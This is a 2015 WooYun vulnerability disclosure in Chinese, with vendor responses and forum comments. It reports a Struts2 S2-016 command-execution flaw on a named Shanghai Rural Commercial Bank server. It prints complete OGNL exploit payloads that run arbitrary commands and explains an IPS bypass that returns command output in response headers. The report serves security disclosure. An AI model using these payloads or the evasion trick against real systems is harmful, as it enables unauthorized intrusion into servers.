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缺陷编号：wooyun-2015-0106471

漏洞标题：绕过ids上海农商银行某站命令执行漏洞

相关厂商：上海农商银行

漏洞作者： cleanmgr

提交时间：2015-04-07 22:08

修复时间：2015-05-25 18:44

公开时间：2015-05-25 18:44

漏洞类型：命令执行

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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分享漏洞：

漏洞详情

披露状态：

2015-04-07： 细节已通知厂商并且等待厂商处理中
2015-04-10： 厂商已经确认，细节仅向厂商公开
2015-04-20： 细节向核心白帽子及相关领域专家公开
2015-04-30： 细节向普通白帽子公开
2015-05-10： 细节向实习白帽子公开
2015-05-25： 细节向公众公开

简要描述：

上海农商银行某站命令执行漏洞

详细说明：

使用神器发现站点：http://map.srcb.com：8055/srcbGisPort/district/districtJson.do
存在st2-016漏洞。
但是使用常见的k8等工具：

18.png


19.png


均提示“检测到入侵”，应该在互联网出口部署IPS/IDP等设备，无法验证该漏洞存在，通过抓包发现上述工具均使用下面的exp:

redirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()}


那么肿么办呢？
通过对神器进行抓包，发现神器使用两种exp进行测试，以whoami为例：
第一种包：

redirect:xxxxxx%24{%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d(new+java.lang.ProcessBuilder(new+java.lang.String[]{%23req.getParameter(%22c0%22)})).start().getInputStream(),%23c%3dnew+java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23resp%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23w%3d%23resp.getWriter(),%23w.println("12"%2b"1314:"),%23w.println(%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()),%23w.flush(),%23w.close(),%23c.close(),%23b.close()}&c0=whoami


第二种包：

redirect:xxxxxx%24{%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d(new+java.lang.ProcessBuilder(new+java.lang.String[]{%23req.getParameter(%22c0%22)})).start().getInputStream(),%23c%3dnew+java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23resp%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23resp.addHeader(121314,%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()),%23c.close(),%23b.close()}&c0=whomai


但是发现第一种数据包也无法回显,依旧提示检测到入侵：

17.png


但是第二种包能够在包头回显数据：

20.png


21.png


22.png


23.png


25.png


对比两个代码，发现第二种代码通过

addHeader

将回显放在包头中：

26.png


从而说明该IDP或IPS不对发送到服务器的数据包（包头、包体）进行特征码检测，而是只针对应答包的包体进行特征码检测，不对包头进行检测。

漏洞证明：

见上

修复方案：

升级，优化IDP或IPS的配置。

版权声明：转载请注明来源 cleanmgr@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-04-10 18:43

厂商回复：

CNVD确认并复现所述漏洞情况，已经转由CNCERT下发给上海分中心，由上海分中心后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-04-07 22:11 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    我比较关心的是谁家的ids

  2. 2015-04-07 22:34 | 木马人 ( 普通白帽子 | Rank:113 漏洞数:25 | 白，灰，黑)

    IDS如何存在绕过的说法，求科普

  3. 2015-04-07 22:36 | 月小对 ( 普通白帽子 | Rank:142 漏洞数:23 | 打着篮球唱着歌)

    我比较关心谁家的IDS可以做阻断功能，掉渣天

  4. 2015-04-07 22:53 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘，缘分写在数据库里面。)

    看看

  5. 2015-04-07 23:06 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    嗯

  6. 2015-04-08 00:00 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    IDS能阻断？

  7. 2015-04-08 00:25 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势，学思路。)

    等着看。

  8. 2015-04-08 08:54 | No.9 ( 路人 | Rank:0 漏洞数:1 | 咳咳咳)

    IDS只记录不阻断

  9. 2015-04-08 09:39 | 毛猴 ( 实习白帽子 | Rank:63 漏洞数:18 | 一 只 怀 有 梦 想 的 猴 ......)

    我比较关心的是谁家的ids